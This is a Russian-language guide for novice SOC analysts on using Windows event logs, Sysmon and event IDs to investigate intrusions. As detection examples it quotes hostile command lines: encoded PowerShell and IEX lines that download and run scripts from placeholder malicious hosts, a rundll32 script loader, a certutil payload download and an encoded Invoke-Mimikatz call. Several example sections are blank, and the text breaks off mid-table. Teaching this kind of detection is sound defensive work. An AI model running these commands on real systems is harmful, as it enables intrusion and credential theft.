Анализ журналов событий Windows: что должен знать новичок
Представьте ситуацию: на компьютере внезапно появились странные приложения, а диспетчер задач фиксирует пиковую нагрузку на CPU и GPU. Такие симптомы сигнализируют как о штатных процессах, так и о вредоносной активности. Чтобы понять, что именно происходит в системе, недостаточно смотреть на диспетчер задач — нужно анализировать журналы просмотра событий Windows (Event Viewer).
Журнал событий — это подобие бортового самописца операционной системы, который последовательно логирует действия: кто вошел, что запустил, какие ошибки возникли и даже как атакующие пытались скрыть свои следы. При этом внешне журнал выглядит как тысячи сообщений, категорий, событий и предупреждений.
В этой статье рассмотрим, какие знания необходимы начинающему специалисту, чтобы уверенно читать логи и лучше понимать работу операционной системы Windows:
- Какие журналы событий существуют в Windows.
- Какие записи важны для безопасности.
- Как правильно читать и интерпретировать логи.
- На что стоит обращать внимание при расследовании киберинцидентов.
Разберемся, как отличить нормальную активность системы от действий атакующих, как использовать эту информацию в расследовании инцидентов.
Когда возникает подозрение на инцидент — необычная активность в сети, внезапный запуск скриптов или жалоба от пользователя на странную работу системы, — первым делом аналитик обращается к журналам событий. Именно здесь зафиксированы фактические сведения о том, что происходило в системе. Эта информация — основа любого расследования. Она позволяет ответить на три ключевых вопроса:
- Что произошло? Перечень событий дает четкое описание действий: вход в систему, запуск процесса, подключение к сети, изменение конфигурации и т. д.
- Когда это произошло? Каждый лог содержит временную метку, которая позволяет выстроить хронологию событий и восстановить последовательность действий.
- Что стало источником активности? Логи фиксируют имя пользователя, процесс, службу или систему, инициировавшую действие. Это помогает отличить легитимные операции от подозрительных.
Примеры
Техника lateral movement, горизонтального перемещения по сети (по MITRE ATT&CK), часто видна в логах как серия необычных удаленных подключений или аутентификаций с повышенными правами. Анализируя журналы событий Windows (Security), а также данные из Sysmon (инструмент для расширенного логирования процессов и сетевой активности), специалист может проследить маршрут злоумышленника по сети.
Техника privilege escalation отвечает за повышение привилегий. В логах это проявляется как создание новых учетных записей администратора, запуск процессов с правами SYSTEM или изменение групп безопасности.
По отдельности каждая запись может показаться безобидной, но вместе они складываются в целостную картину атаки. Многие современные угрозы, особенно атаки кластеров активности и вредоносные программы нового поколения, строятся именно на том, чтобы скрываться в потоке обычных событий. Поэтому умение соотносить логи между собой и сопоставлять их с TTPs (тактики, техники и процедуры атакующих) — ключевой навык SOC‑аналитика.
Если логи удалены, модифицированы или вовсе не настроены, расследовать инцидент будет намного труднее. Поэтому важно правильно настроить аудит — определить, какие события должны записываться и какие из них критичны для обнаружения подозрительной активности. А также необходимо обеспечить своевременный сбор и централизованное хранение логов.
Грамотная настройка аудита позволяет сохранить необходимые события, даже когда злоумышленник пытается скрыть следы, а также ускоряет анализ и восстановление хода атаки.
Обнаружить подозрительный PowerShell — как найти одну деталь от большого пазла. Она необходима, чтобы собрать картинку целиком, но только по одной детали не понять, что именно изображено. Настоящее расследование начинается, когда аналитик соединяет разные кусочки информации: шаг за шагом, событие за событием, пока из хаоса логов не сложится полная история атаки.
Один из базовых навыков аналитика SOC — умение выстраивать последовательную картину инцидента на основе множества отдельных записей. Этот процесс называется корреляцией событий и подразумевает связывание разрозненных логов из разных источников в единую временную линию — таймлайн.
Практическая ценность
Одна запись в журнале фиксирует успешный вход пользователя, другая — запуск подозрительного процесса, третья — изменение системных настроек или создание новой учетной записи. Пока эти события существуют отдельно, они не говорят почти ничего. Но стоит выстроить их в правильном порядке, станет ясно, происходящее — случайность или часть целенаправленной атаки.
Таймлайн помогает:
- Определить точку входа: когда и как произошла первая компрометация (через уязвимость, фишинг, скомпрометированные учетные данные или другой вектор).
- Установить масштаб инцидента: определить, какие системы, учетные записи и сегменты сети были затронуты, и понять, это локальный инцидент или уже широко распространившийся.
- Проследить действия злоумышленника: распространение вредоносного кода, повышение привилегий, попытки закрепиться в системе.
- Оценить степень воздействия: какие изменения были внесены в инфраструктуру и какой потенциальный ущерб.
- Определить время присутствия злоумышленника: чем дольше атакующий находился в инфраструктуре незамеченным, тем выше вероятный ущерб.
- Улучшить мониторинг: понять, на каком этапе обнаружили атаку и где можно среагировать раньше. Это позволит усилить детектирование в будущем.
Инструменты
Корреляцию можно проводить вручную, это подходит для небольших инцидентов и точечного анализа. При большом объеме данных и сложных атаках ручной подход неэффективен: требуется автоматизация с помощью специализированных инструментов — SIEM‑систем (security information and event management), EDR‑решений (endpoint detection and response) и других. Они автоматически собирают логи из множества источников, сопоставляют их по времени и контексту, а также визуализируют события в виде временных диаграмм и связанных графов. EDR‑решения дополнительно обеспечивают детальный мониторинг активности на конечных устройствах и позволяют углубленно анализировать поведение процессов и действия злоумышленника на уровне отдельного хоста.
Важно: корректность временной линии напрямую зависит от точности времени в системах. Различия в настройках часовых поясов или рассинхронизация NTP‑серверов могут исказить хронологию событий и привести к ошибочным выводам. Необходимо обеспечить централизованную синхронизацию времени через NTP, использовать единый источник времени для всех систем и по возможности хранить метки времени в унифицированном формате, например UTC. Также стоит регулярно проверять корректность настроек времени и учитывать возможные расхождения при анализе логов.
- 02:15 — успешная аутентификация (Event ID 4624, журнал Security) учетной записи, которая обычно не используется ночью. Это стало первым корреляционным событием.
- 02:18 — запуск процесса
powershell.exeс обфусцированными аргументами (Event ID 4688, журнал Security или Event ID 1, журнал Sysmon):powershell.exe -NoProfile -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAeAB4AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMAWwAuAF0AZQB4AGEAbQBwAGwAZQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkACgA=
- 02:22 — создание нового запланированного задания с именем, имитирующим системное (Event ID 4698, журнал Security).
- 02:30 — добавление учетной записи пользователя в локальную группу «Администраторы» (Event ID 4732, журнал Security), что указывает на эскалацию привилегий.
Выстроив временную линию атаки, аналитик получает не просто последовательность событий, а основу для формирования гипотез. Для этого важно не только видеть, что произошло, но и понять, что привело к инциденту и какая конечная цель злоумышленника.
Любое расследование строится на предположениях, с чего началась компрометация: с фишингового письма, уязвимого сервиса, утечки учетных данных или чего‑то еще. Логи позволяют подтвердить или опровергнуть версии, используя фактические данные.
Разберем, как именно журналы событий помогают проверять гипотезы, определять истинную причину инцидента и исключать ложные следы.
Редко получается сразу разобраться в деталях инцидента кибербезопасности. Чаще аналитик работает в условиях неполной информации и выдвигает гипотезы: произошла компрометация учетной записи, это внешняя атака или внутренняя угроза, что стало первопричиной инцидента.
Журналы событий — объективный источник данных, который помогает не только фиксировать факты, но и подтверждать или опровергать гипотезы, опираясь на воспроизводимые цифровые артефакты, а не догадки.
Пример 1
- В журнале зафиксировано создание новой службы (Event ID 7045) с необычным именем и бинарным файлом, расположенным в
C:\Windows\Temp\. - Инициатор — учетная запись обычного пользователя:
i.ivanov.
- Выполнялся ли запуск процессов с высокими правами (T1548 в MITRE ATT&CK)?
- Создавались ли новые учетные записи в группе «Администраторы»?
- Менялись ли ACL или права доступа к системным файлам и службам?
Пример 2
Logon Type = 3/10 или вход на чувствительный хост) — это явный индикатор горизонтального перемещения по сети.
- События входа в систему по RDP или с использованием административных инструментов (T1021.001 в MITRE ATT&CK), например Event ID 4624, Logon Type 10 (удаленный интерактивный доступ) или Logon Type 3 (сетевой доступ).
- Использование средств управления, таких как WMI, PsExec,
taskschd.msc. - Создание процессов, например
services.exeилиsvchost.exe, с нетипичным родительским процессом, напримерcmd.exeилиpowershell.exeвместоwininit.exeилиservices.exe.
- При легитимной работе пользователь обычно не создает сервисы и не вызывает удаленное выполнение команд на серверах. Если сессия с
Logon Type = 3/10быстро порождаетsc create,psexec,wmicилиpowershell -EncodedCommand, скорее всего, это удаленное выполнение. - Инструменты типа Impacket/PsExec оставляют характерные следы: создание службы с подозрительным именем, запуск
cmd.exe/schtasksна целевом хосте, специфичные command‑line‑шаблоны. Сопоставление LogonID и событий создания процессов дает однозначную привязку: какая учетная запись или сессия инициировала запуск процесса.
Что происходит, когда логи отсутствуют, повреждены или недостоверны? Аналитик оказывается «в темноте»: факты есть, но доверять им невозможно. Это одна из самых уязвимых точек любой организации.
Основные причины потери логов:
- Ненастроенный аудит. По умолчанию Windows не ведет расширенное логирование критических событий, вроде запусков процессов, сетевых соединений, скриптов, отображения содержания командных строк. Если аудит не включен или не охватывает нужные категории, логи не записываются в журнал.
- Перезапись из‑за ограничения объема хранения. Многие системы хранят журналы ограниченного установленного размера. Если объем превышен, старые записи автоматически удаляются без предупреждения.
- Удаление или модификация злоумышленником. Опытный атакующий знает, где искать слабые места, и может очистить или подменить логи (события Event ID 1102 и 104). Похоже на удаление записи с камеры наблюдения. Сам факт удаления фиксируется (в журнале остается событие об очистке), но понять, что происходило, уже нельзя.
- Локальное хранение данных. Если логи хранятся только на скомпрометированной машине, то после удаления или повреждения системы вся история действий исчезнет. Это критически затруднит дальнейшее расследование.
- Недостаточная детализация. Без таких инструментов, как Sysmon и логи с EDR‑агентов, стандартное логирование не всегда обеспечивает необходимую глубину информации даже при настроенной конфигурации.
- Недостаточное время хранения. Даже при правильно настроенном аудите логи могут быть недоступны для расследования, если срок их хранения слишком мал. Это особенно критично при атаках с длительным присутствием злоумышленника в инфраструктуре — к моменту обнаружения инцидента ранние следы активности уже могут быть утеряны.
- Некорректная настройка логирования. Логирование может быть формально включено, но настроено на сбор не тех категорий событий, которые нужны для задач мониторинга. В результате журналы заполняются, но не содержат полезной для расследования информации.
Вот к каким рискам может привести отсутствие логов:
- Невозможность полностью восстановить цепочку событий. Без необходимых логов невозможно точно сказать, откуда начался инцидент и как он развивался.
- Ошибочные гипотезы. Без точных событий аналитик может сделать неправильные выводы, упустить истинную причину или недооценить масштаб атаки.
- Нарушение цепочки реагирования. При отсутствии артефактов инцидент нельзя передать на дальнейший анализ или этот анализ будет крайне затруднен.
Как исключить эти риски:
- Настраивать централизованный сбор логов (SIEM, лог‑серверы).
- Включать расширенный аудит (Sysmon, PowerShell, Object Access).
- Использовать дополнительные решения, например BI.ZONE EDR.
- Защищать логи от изменения (read‑only‑репликации, WORM‑диски).
- Контролировать объемы хранения и регулярную выгрузку логов.
- Проводить мониторинг событий удаления и очистки журналов.
Журналы событий должны быть надежным источником информации, иначе расследование превращается в поиски наугад.
Каждый день Windows фиксирует тысячи событий: от входа пользователя до запуска сложного скрипта. В этих цифровых отпечатках скрыты следы всех ключевых процессов, которые помогают понять, что происходило в системе и кто мог вмешиваться в ее работу.
Чтобы не утонуть в море записей, важно знать, какие журналы стоит отслеживать в первую очередь.
Существует несколько базовых журналов, встроенных в операционную систему:
- Security — основной источник информации об аутентификации, доступах и изменениях в системе безопасности.
- System — отражение работы ядра, драйверов и системных служб.
- Application — фиксация ошибок и событий, генерируемых пользовательскими и бизнес‑приложениями.
Дополнительные журналы для глубокого анализа:
- Windows PowerShell — общие события PowerShell (запуск, завершение, ошибки скриптов и команд).
- Microsoft-Windows-PowerShell/Operational — подробное логирование, включая Script Block Logging и другие аудиты.
- WMI Activity, Task Scheduler и др. — выявление скрытых методов закрепления и обхода стандартных механизмов.
- Sysmon — расширенное логирование низкоуровневой активности (процессы, сеть, реестр и т. д.).
EDR‑решения дают еще больше информации: сигнатурные и поведенческие срабатывания, трассировку командной цепочки, захват памяти. Все это превращает простые логи в мощный источник разведданных для аналитика.
Для эффективного расследования киберинцидента нужно понимать, где искать события, а также какие журналы дают нужную глубину информации. Посмотрим на ключевые журналы глазами аналитика, ориентируясь на детектирование вредоносной активности и подозрительных действий злоумышленников.
Журнал Security — один из основных источников информации для расследования инцидентов. Сюда поступают события, связанные с аутентификацией, управлением учетными записями, контролем доступа к объектам, изменением политик и попытками эскалации привилегий. Этот журнал можно назвать пунктом охраны в мире Windows.
Основные категории событий в журнале Security:
| Категория | Event ID | Назначение |
|---|---|---|
| Аутентификация |
4624, 4625, 4776 |
Удачные и неудачные попытки входа |
| Управление учетными записями |
4720, 4722, 4723, 4725 |
Создание, разблокировка, смена, удаление пароля |
| Группы и привилегии |
4732, 4733, 4670 |
Добавление в группы и удаление из них, изменение ACL |
| Запуск процессов |
4688, 4689 |
Создание нового процесса, завершение существующего |
| Доступ к объектам |
4663 |
Отслеживание доступа и попыток изменить критические объекты |
| Очистка журналов |
1102 |
Очистка журнала событий |
| Аудит входа в систему |
4627 |
Сведения о группах, к которым принадлежит пользователь |
Как читать события журнала Security
Каждое событие содержит структурированные поля:
- Subject — субъект, т. е. кто инициировал действие.
- Target — над кем/чем производилось действие.
- Process ID и Process Name — что именно запускалось.
- Logon Type — тип входа (локальный, сетевой, RDP и др.).
- Authentication Package — через какую систему был выполнен вход (NTLM, Kerberos, Negotiate).
- Failure Reason (в событиях отказа входа) — почему не удалось войти.
Примеры:
- Event ID 4625 (неудачный вход). Повторяющиеся попытки входа с Logon Type 3 (сетевой вход) с разных IP‑адресов сигнализируют о возможной попытке перебора пароля через SMB.
- Event ID 4728 (добавление в группу). Показывает, что пользователь добавлен в группу «Администраторы домена». Если это произошло ночью или вне администраторской деятельности, о которой заведомо уведомляли, стоит провести расследование.
- Event ID 4688 (запуск процесса). В журнале зафиксирован запуск
rundll32.exeс аргументом:Такой запуск указывает на попытку выполнения удаленного скрипта через легитимный бинарный файл. Подобные техники активно используются бесфайловыми угрозами и кластерами злоумышленников. Это выглядит особенно подозрительно, если родительским процессом являетсяrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http[:]//malicious[.]domain/payload.sct")explorer.exe(ручной запуск пользователем) или офисные приложения (winword.exe,excel.exe). Например, в фишинговом письме может содержаться документ Word или Excel с макросами, которые запускают выполнение вредоносного кода, инициируя последующую загрузку вредоносного скрипта.
Журнал System фиксирует критические события в системе, связанные с ядром операционной системы, драйверами, службами, устройствами и механизмами запуска. Хотя в нем меньше информации о действиях пользователей, чем в Security, в нем часто скрываются первые признаки нестабильности системы, саботажа или скрытых изменений в конфигурации.
Вот что логирует журнал System:
| Категория | Event ID | Назначение |
|---|---|---|
| Запуск службы журнала событий (Event Log started) |
6005 |
Начало работы журнала событий |
| Остановка службы журнала событий (Event Log stopped) |
6006 |
Корректное завершение работы журнала |
| Некорректное завершение работы системы |
6008 |
Неожиданное выключение или сбой |
| BugCheck (краш‑дамп) |
1001 |
Ошибка ядра (BSOD) |
| Kernel‑Power (система перезагружена без корректного выключения) |
41 |
Возможный сбой питания, аварийное выключение |
| Запланированное выключение или перезагрузка |
1074 |
Причина и инициатор перезагрузки |
| Сообщение о причинах перезагрузки |
1076 |
Дополнительные сведения о перезагрузке |
| Ошибка запуска службы |
7000 |
Сбой службы при старте |
| Ошибка запуска зависимой службы |
7001 |
Проблемы с зависимыми службами |
| Неожиданное завершение работы службы |
7031 |
Аварийная остановка службы |
| Завершение службы с ошибкой |
7034 |
Аварийная остановка службы |
| Изменение состояния службы (запущена или остановлена) |
7036 |
Информация о состоянии службы |
| Изменение типа запуска службы |
7040 |
Изменение параметров автозапуска службы |
| Установка новой службы в системе |
7045 |
Отслеживание установки новых служб в системе |
| Ошибка файловой системы NTFS |
55 |
Повреждение диска или файловой системы |
| Очистка журнала событий |
104 |
Фиксация очистки журнала System |
Журнал System важен при расследовании киберинцидентов, потому что служит точкой отсчета, то есть позволяет определить, когда был последний «чистый» старт системы. Это критично при поиске точки входа.
Кроме того, в журнале содержатся признаки подозрительной активности:
- Внезапная очистка журнала (Event ID 104).
- Отключение антивирусной службы (WinDefend, Wscsvc) или системных сервисов (EventLog, SecurityCenter). Это легко заметить через Event ID 7036.
- Установка новых служб (Event ID 7045). Этот механизм часто используют для горизонтального перемещения, а также для закрепления бэкдоров в системе.
Журнал Application содержит события, генерируемые прикладными программами и службами, которые работают в пользовательском и частично в системном пространстве. В отличие от Security и System записи в этот журнал пишут сами приложения или используемые ими фреймворки, например .NET Runtime, SQL Server, Outlook, «1С», антивирус, драйвер принтера, Java‑апплет.
Типы событий в журнале Application:
| Категория | Назначение |
|---|---|
| Ошибка |
Ошибки выполнения приложений, сбои, критические сбои модулей |
| Предупреждение |
Нестандартное поведение, которое может стать проблемой |
| Информация |
Регулярные записи о работе приложений |
| Аудит успешен/неуспешен |
Используется редко, если приложение реализует аудит самостоятельно |
Event ID в журнале Application определяются самим приложением и не стандартизированы системой.
На что обратить внимание аналитикам кибербезопасности:
- Сбои приложений — внезапные завершения
outlook.exe,winword.exe,java.exeпроисходят во время фишинговых атак или запуска вредоносных вложений. - Ошибки .NET Runtime — иногда свидетельствуют о попытке запуска нестандартного или модифицированного кода, например вредоносного ПО, написанного на .NET.
- Информация от AV/EDR — некоторые антивирусы пишут события в этот, а не в отдельные журналы.
- Службы бизнес-приложений — например, сбои «1С», SAP, CRM‑систем, которые могут указывать на саботаж или вмешательство извне.
- Косвенные признаки эксплуатации — ошибки
msiexec.exe,dllhost.exe,wscript.exeи других встроенных компонентов могут сигнализировать о попытке выполнения вредоносного кода.
PowerShell — мощный инструмент автоматизации и администрирования, но при этом один из самых популярных векторов злоупотребления в руках злоумышленников. PowerShell позволяет выполнять команды в памяти, загружать скрипты из интернета, работать с системными API и обфусцировать действия так, что традиционные средства защиты не заметят вторжение.
Для логирования действий PowerShell существует несколько журналов, но мы рассмотрим основные:
- Windows PowerShell.
- Microsoft-Windows-PowerShell/Operational.
Чтобы противостоять атакам с использованием PowerShell, важно настроить детализированное логирование PowerShell‑активности, которое по умолчанию почти всегда отсутствует.
Рассмотрим виды PowerShell‑логов и разберемся, где их искать:
| Журнал | Event ID | Назначение |
|---|---|---|
| Windows PowerShell |
400 |
Отображает запуск новой сессии PowerShell, то есть создание хоста PowerShell |
| Microsoft-Windows-PowerShell/Operational |
4103 |
Включает имя и выходные данные командлета |
| Microsoft-Windows-PowerShell/Operational |
4104 |
Отображает содержимое скрипта |
Файлы логов на диске (обычно %USERPROFILE%\Documents) |
— |
Пошагово записывает все, что происходит в интерактивной сессии |
| Microsoft-Windows-PowerShell/Operational |
800–803 |
Записывает высокоуровневые события о запуске PowerShell, ошибках и др. |
Что важно искать в логах PowerShell:
- Выполнение кода из внешних источников:
Команда загружает и немедленно выполняет скрипт из интернета без сохранения на диск — это классический признак fileless‑атаки. Event ID 4104 покажет полный код, даже если он был обфусцирован.
IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1') - Создание и запуск задач через PowerShell:
Свидетельствует о механизме закрепления в системе — злоумышленник создает задачу, которая будет автоматически запускать вредоносный код при определенных условиях.
schtasks /create /tn "Persistence" /tr "powershell.exe -encodedCommand ..." ...
- Извлечение паролей и токенов:
Использование таких команд может говорить о попытках получить доступ к паролям, токенам и другим учетным данным. Подключение .NET‑библиотек через Add‑Type нередко используется для работы с криптографическими функциями. Такие действия фиксируются по Event ID 4104 и 4103.
Invoke-Mimikatz, Get-Credential, Add-Type -AssemblyName System.Security
- Исполнение зашифрованных Base64‑команд:
Параметр
-EncodedCommand SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA #выполнится команда Invoke‑Mimikatz в base64 кодировке
-EncodedCommandпозволяет передавать команды в Base64‑кодировке — это распространенный способ обфускации вредоносного кода. В этом примере после декодирования выполняется Invoke‑Mimikatz. Event ID 4104 фиксирует раскодированное содержимое. - Вызов Win32 API и COM‑объектов: обращение к низкоуровневым системным интерфейсам через PowerShell может быть признаком обхода средств защиты и запуска вредоносной логики непосредственно в памяти, без создания файлов на диске.
Пример
ReverseShell.ps1 с удаленного сервера и открывал соединение на нестандартном порте.Рекомендации для расследования
- Использовать Event ID 4104 как основной источник для понимания логики атакующего.
- С помощью корреляции PowerShell‑событий с Sysmon (Event ID 1, 7) и Security (4688) выяснять, какой процесс запустил PowerShell, в каком контексте безопасности и откуда.
- Узнавать родительский процесс: запуск PowerShell из
winword.exe,outlook.exe,wscript.exe— это тревожный признак. - Разбираться, выполнено декодирование вручную или с помощью инструментов (например, CyberChef), если скрипт изначально был закодированным.
Windows Management Instrumentation (WMI) — это встроенная технология Windows, которая предоставляет в едином интерфейсе информацию о состоянии операционной системы, оборудования и программ, а также для управления ими.
WMI позволяет определить:
- запущенные процессы,
- серийный номер компьютера,
- объем свободной памяти на компьютере,
- статус фаервола.
А также дает возможность удаленно выполнять команды, изменять настройки ОС и планировать задачи через механизм filter consumer binding.
Злоумышленники часто используют WMI для:
- persistence — создания скрытых триггеров;
- lateral movement — удаленного выполнения кода;
- fileless-атак — выполнения скриптов без создания файлов.
Логи находятся в журнале Microsoft-Windows-WMI-Activity/Operational.
События WMI, которые важны для мониторинга:
| Категория | Event ID | Назначение |
|---|---|---|
| Microsoft-Windows-WMI-Activity/Operational |
5857 |
Регистрируется каждый раз, когда обнаруживается активность WMI, что делает его универсальным событием. Однако для полноценного расследования недостаточно использовать только это событие. Оно дает общий контекст, но требует сопоставления с более детальными типами событий |
| Microsoft-Windows-WMI-Activity/Operational |
5858 |
Содержит информацию об ошибке, в том числе выполненный запрос WQL, идентификатор пользователя, а также идентификаторы системы и процесса |
| Microsoft-Windows-WMI-Activity/Operational |
5859/5860 |
Сообщают об отправке уведомления и указывают на активность, связанную с подпиской. Идентификатор события 5860 содержит более подробную информацию, в том числе пространство имен |
| Microsoft-Windows-WMI-Activity/Operational |
5861 |
Раскрывает детали подписки, а в некоторых случаях может указать на код, используемый вредоносным ПО |
| Sysmon |
19/20/21 |
Предоставляют информацию:
|
Также полезно отслеживать вызовы wmic.exe, классы и методы PowerShell WMI (Invoke‑WmiMethod, Get‑WmiObject).
WMI-подписка (WMI event subscription) — это механизм в Windows, позволяющий автоматически запускать действия в ответ на определенные события в системе с использованием Windows Management Instrumentation (WMI). Этот механизм часто используется злоумышленниками для закрепления в системе, так как может работать скрытно и без участия пользователя.
Пример
Рекомендации по анализу
- Отслеживать создание и изменение WMI‑подписок — это типичный способ закрепления для вредоносного ПО. Пример правила для SIEM: срабатывание на Event ID 5861 в сочетании с появлением нового процесса (Sysmon Event ID 1) в течение короткого времени.
- Коррелировать WMI‑события с запусками процессов и сетевой активностью. Пример правила: Event ID 5857 или 5861 → Sysmon Event ID 3 (сетевое подключение) от того же процесса в течение нескольких минут.
- Использовать скрипты и SIEM‑правила для поиска подозрительных подписок и вызовов. Особого внимания заслуживают комбинации WMI + PowerShell. Например, запуск
powershell.exeкак дочернего процессаWmiPrvSE.exeявляется характерным индикатором вредоносной WMI‑активности.
Task Scheduler — системный сервис, который позволяет запускать программы, скрипты и команды по расписанию или при наступлении определенных событий.
Злоумышленники часто используют его, чтобы закрепиться в инфраструктуре, автоматически запустить вредоносное ПО или скрыть свою активность.
Где искать логи и основные события
Чтобы включить логирование событий, связанных с планировщиком задач, необходимо:
- Открыть планировщик задач (
taskschd.msc). - На панели «Действия» (Action) выбрать пункт «Включить журнал всех заданий» (Enable All Tasks History).
Журналы находятся по пути: Microsoft-Windows-TaskScheduler/Operational.
В Windows Server 2012 R2 и более новых операционных системах также доступен журнал Microsoft-Windows-TaskScheduler/Maintenance.
Ключевые события:
| Event ID | Назначение |
|---|---|
| События мониторинга задач | |
| 100 |
Начато выполнение задачи |
| 101 |
Не удалось запустить задачу |
| 102 |
Задача выполнена |
| 103 |
Не удалось запустить действие |
| 111 |
Задача завершена |
| 129 |
Идентификатор процесса запущенной задачи |
| 200 |
Действие началось |
| 201 |
Действие завершено |
| 202 |
Действие не выполнено |
| 203 |
Не удалось запустить действие |
| События, связанные с управлением задачами | |
| 106 |
Задача зарегистрирована |
| 140 |
Задача обновлена |
| 141 |
Задача удалена |
| 142 |
Задача отключена |
Дополнительные события Task Scheduler доступны только при включенной политике аудита Audit Other Object — Access Events.
| Event ID | Назначение |
|---|---|
| 4698 |
Событие генерируется каждый раз при создании нового запланированного задания |
| 4699 |
Событие генерируется каждый раз при удалении запланированного задания |
| 4702 |
Событие генерируется каждый раз, когда запланированное задание обновляется или изменяется |
Почему важен мониторинг планировщика задач:
- Закрепление в системе: создание злоумышленником скрытых задач, запускающих полезную нагрузку при запуске системы, входе пользователя или по расписанию.
- Автоматизация: запуск скриптов для сбора данных, удаления следов, коммуникации с C2‑серверами.
- Скрытность: создание некоторых задач с неявными именами.
Пример
UpdateSvc, которая запускала PowerShell‑скрипт с Base64-encoded-командой, выполнявшей связь с C2‑сервером.Sysmon (system monitor) — это системный драйвер и служба от Microsoft Sysinternals, предназначенные для детального аудита системной активности на уровне ядра:
- запуска процессов,
- доступа к файлам,
- подключения к сети,
- изменений в реестре и т. д.
В отличие от встроенных журналов Windows Sysmon обеспечивает гораздо более точный, глубокий и настраиваемый сбор данных, подходящий для расследований.
Основные события, генерируемые Sysmon:
| Категория | Event ID | Назначение | Что искать |
|---|---|---|---|
| Process Creation |
1 |
Запуск любого процесса (с аргументами и родителем) |
Паттерны, характерные для различных инструментов, а также соответствующие различным процедурам злоумышленников. Например, |
| Network Connection |
3 |
Входящие/исходящие сетевые соединения |
Необычные порты, IP‑адреса без DNS, TOR, C2‑инфраструктура |
| Image Load |
7 |
Загрузка DLL в память (можно отследить DLL‑инъекции) |
Внедрение сторонних DLL в системные процессы ( |
| CreateRemoteThread |
8 |
Создание одним процессом потока в другом процессе |
Нетипичные обращения к процессам, которые могут говорить о попытках ВПО встроить и исполнить свой код в контексте другого процесса (T1055 в MITRE ATT&CK). Например, |
| Process Access |
10 |
Попытки доступа к памяти чужих процессов |
ACCESS_MASK с 0×1410 (чтение памяти), доступ нетипичных процессов |
| File Create |
11 |
Создание файлов (по умолчанию отслеживаются только |
Создание исполняемых файлов в подозрительных каталогах. Например, создание файлов с расширениями |
| Registry Events |
12/13/14 |
Создание, изменение, удаление ключей/значений в реестре |
В этих разделах представлены ключи реестра, которые злоумышленники часто используют для закрепления:
|
| WMI Event Filter Activity / WMI Event Consumer Activity / WMI Event Binding |
19/20/21 |
|
|
| DNS Query |
22 |
DNS-запросы с хоста |
|
| File Delete |
23 |
Удаление файлов (если включено в конфигурацию) |
Удаление после выполнения (очистка следов) |
| Process Tampering / PE Dump |
25 |
Попытки подмены памяти процесса, дампы исполняемых файлов |
Дамп памяти |
Для расследования киберинцидентов Sysmon предоставляет следующие возможности:
- Полная картина поведения процесса: кто, с какими параметрами, из какого родительского процесса, когда и куда подключался.
- Обнаружение fileless‑атак: фиксация загрузки скриптов, доступа к памяти чужих процессов, аномальной активности.
- Корреляция с другими логами: Sysmon дополняет журналы Security и PowerShell.
- Отслеживание кластеров активности и злоупотребления легитимными инструментами: например,
rundll32.exe,regsvr32.exe,mshta.exeс подозрительными аргументами легко отслеживаются.
Пример
powershell.exe был запущен с обфусцированным Base64‑аргументом, родительским процессом был winword.exe.Особые признаки вредоносного поведения:
| Признак | Что должно настораживать |
|---|---|
|
Возможный запуск из фишингового документа |
|
Логика обхода ограничений. Попытка запустить PowerShell через обертку |
|
Запуск кода из интернета через легитимный инструмент |
|
Множественные DNS‑запросы к новым/аномальным доменам. Само по себе обращение к множеству разных доменов не обязательно вредоносно. Считается подозрительным, если выполняется хотя бы одно из следующих условий:
|
Обращения к C2-серверу |
CreateRemoteThread + |
Попытка кражи учетных данных |
Создание файлов в |
Временные дропперы или скрипты ВПО |
Рекомендуемые пути и контексты:
| Категория | Значение |
|---|---|
| Подозрительные файлы |
|
| Закрепление через реестр |
|
| Подозрительные аргументы |
|
Разберем важные события без привязки к журналам и выясним, в чем их важность.
Event ID 4688 фиксирует создание нового процесса в системе. Event ID 4689 фиксирует завершение процесса. Эти события — основа для отслеживания активности в системе, понимания, какие программы запускались и когда, а также для выявления подозрительной активности.
4688 содержит следующие данные:
- Имя и путь запускаемого исполняемого файла (New Process Name).
- Идентификатор процесса (Process ID).
- Родительский процесс (Parent Process Name и Parent Process ID).
- Пользователь, под учетной записью которого запущен процесс.
- Командная строка запуска.
- Идентификатор сессии и др.
4689 содержит:
- Идентификатор завершенного процесса.
- Время завершения.
- Код выхода.
Почему это важно
- Анализ Event ID 4688 позволяет отследить цепочку запуска процессов, выявить нетипичные родительские процессы (например, запуск PowerShell через rundll32).
- Командная строка помогает понять цель запуска (например, подозрительный аргумент или Base64‑код).
- За счет логирования командной строки можно выявить процессы, которые запускаются и быстро завершаются. Это частый признак вредоносной активности.
- Анализ времени запуска и завершения процессов помогает выстроить таймлайн.
Пример
cmd.exe запускает certutil.exe — штатную утилиту Windows для работы с сертификатами. Событие 4688 показало командную строку:certutil.exe -urlcache -split -f http://malicious[.]site/payload[.]exe C:\Users\Public\payload.exe
certutil.exe, чтобы скачать вредоносный файл с удаленного сервера.Основные события и их значение:
| Категория | Event ID | Назначение |
|---|---|---|
| Успешный вход в систему |
4624 |
Успешная аутентификация пользователя |
| Неудачная попытка входа |
4625 |
Попытка аутентификации, которая завершилась неудачей |
| Вход с использованием других учетных данных |
4648 |
Попытка входа с использованием явных учетных данных |
| Вход с повышенными привилегиями |
4672 |
Вход администратора или пользователя с особыми правами |
| Выход из системы |
4634 |
Пользователь завершил сеанс |
Эти события содержат следующие данные:
- Имя пользователя и домен.
- Источник попытки входа (IP‑адрес, хост).
- Время и дата события.
- Тип входа (например, интерактивный‑2, удаленный‑3, RDP‑10).
- Причина неудачи (для 4625).
- Сессия и ID процесса.
Почему это важно
- Позволяет обнаружить подозрительные попытки входа, например перебор паролей или атаки типа pass‑the‑hash.
- Отслеживает повышение привилегий — это важный индикатор компрометации.
- Упрощает построение таймлайна: кто и когда заходил в систему.
- Помогает выявлять использование несанкционированных учетных данных.
Пример
Основные Event ID и их назначение:
| Event ID | Назначение |
|---|---|
| 4720 |
Создание новой учетной записи пользователя |
| 4726 |
Удаление учетной записи пользователя |
| 4732 |
Добавление пользователя в локальную группу безопасности (локальный администратор, Remote Desktop и т. д.) |
| 4733 |
Удаление пользователя из локальной группы безопасности |
| 4728 |
